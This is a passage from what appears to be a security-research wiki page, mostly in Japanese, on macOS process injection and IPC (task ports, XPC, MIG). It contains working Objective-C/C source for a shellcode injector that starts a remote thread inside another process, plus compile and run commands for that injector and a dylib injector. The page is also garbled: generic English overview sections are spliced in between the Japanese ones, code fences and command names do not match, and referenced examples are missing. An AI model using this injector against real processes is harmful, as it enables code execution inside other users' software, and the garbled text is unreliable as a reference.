// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }

// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); return (-3); }

return (0); }

pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@"pgrep", processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/usr/bin/env"]; [task setArguments:arguments];

NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe];

NSFileHandle *file = [pipe fileHandleForReading];

[task launch];

NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];

return (pid_t)[string integerValue]; }

BOOL isStringNumeric(NSString str) { NSCharacterSet nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }

int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv[0]); return 1; }

NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid;

if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); } }

inject(pid); }

return 0; }

</details>  

## macOS IPC (Inter-Process Communication)

### Overview

Inter-Process Communication (IPC) mechanisms on macOS can be abused by attackers to facilitate privilege escalation. Understanding how IPC works on macOS is crucial for identifying and exploiting potential security weaknesses.
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>

iOSでこれを動作させるには、書き込み可能なメモリを実行可能にするために、dynamic-codesigningの権限が必要です。

タスクポートを介したスレッドへのDylibインジェクション

macOSでは、スレッドMachを介して操作されるか、posix pthread apiを使用して操作される可能性があります。前のインジェクションで生成したスレッドはMach apiを使用して生成されたため、posixに準拠していません

単純なシェルコードをインジェクトしてコマンドを実行することが可能でしたが、これはposixに準拠する必要がなかったため、Machだけで動作しました。より複雑なインジェクションを行うには、スレッドがposixにも準拠する必要があります

したがって、スレッドを改善するためには、pthread_create_from_mach_threadを呼び出すべきです。これにより、有効なpthreadが作成されます。その後、この新しいpthreadはdlopenを呼び出してシステムからdylibをロードすることができます。つまり、異なるアクションを実行するための新しいシェルコードを書く代わりに、カスタムライブラリをロードすることが可能です。

例えば、(ログを生成してそれを聞くことができるものなど)例のdylibsを以下で見つけることができます:

macOS IPC (Inter-Process Communication)

macOS IPC Overview

Inter-process communication (IPC) mechanisms are commonly used in macOS to allow communication between processes. Understanding how IPC works is crucial for both legitimate software development and security research. This section provides an overview of macOS IPC mechanisms and their potential security implications.

macOS IPC Mechanisms

macOS supports various IPC mechanisms, including:

  • Mach Messages: Low-level IPC mechanism used by macOS for inter-process communication.

  • XPC Services: High-level API for creating inter-process communication in macOS.

  • Distributed Objects: Framework for distributed computing using Objective-C.

  • Apple Events: Inter-application communication mechanism used in macOS.

  • Unix Domain Sockets: Inter-process communication between processes on the same system.

macOS IPC Security Considerations

When analyzing macOS IPC mechanisms, it is essential to consider security implications such as:

  • Privilege Escalation: Improperly implemented IPC mechanisms can be abused for privilege escalation attacks.

  • Data Integrity: Ensuring data integrity and confidentiality during IPC communication.

  • Authentication: Verifying the identity of communicating processes to prevent unauthorized access.

  • Denial of Service: Protecting IPC mechanisms from denial of service attacks.

Understanding macOS IPC mechanisms and their security considerations is crucial for securing macOS systems against potential threats.

gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>

タスクポート経由のスレッドハイジャッキング

この技術では、プロセスのスレッドがハイジャックされます:

XPC

基本情報

XPCは、macOSおよびiOSで使用されるカーネルであるXNUの間のプロセス間通信を意味するもので、プロセス間の通信のためのフレームワークです。 XPCは、システム上の異なるプロセス間で安全で非同期のメソッド呼び出しを行うメカニズムを提供します。これはAppleのセキュリティパラダイムの一部であり、特権を分離したアプリケーションの作成を可能にし、各コンポーネントがその仕事を行うために必要な権限のみで実行されるようにします。これにより、侵害されたプロセスからの潜在的な被害を制限します。

この通信方法脆弱性についての詳細は、以下を参照してください:

MIG - Mach Interface Generator

MIGは、Mach IPCのプロセスを簡素化するために作成されました。これは、RPCをプログラムするための多くの作業が同じアクション(引数のパッキング、メッセージの送信、サーバーでのデータのアンパッキングなど)を必要とするためです。

MIGは基本的に、サーバーとクライアントが指定された定義(IDL - Interface Definition Language - で)で通信するために必要なコードを生成します。生成されたコードが醜い場合でも、開発者はそれをインポートするだけで、以前よりもはるかにシンプルなコードになります。

詳細については、以下を確認してください:

参考文献

Last updated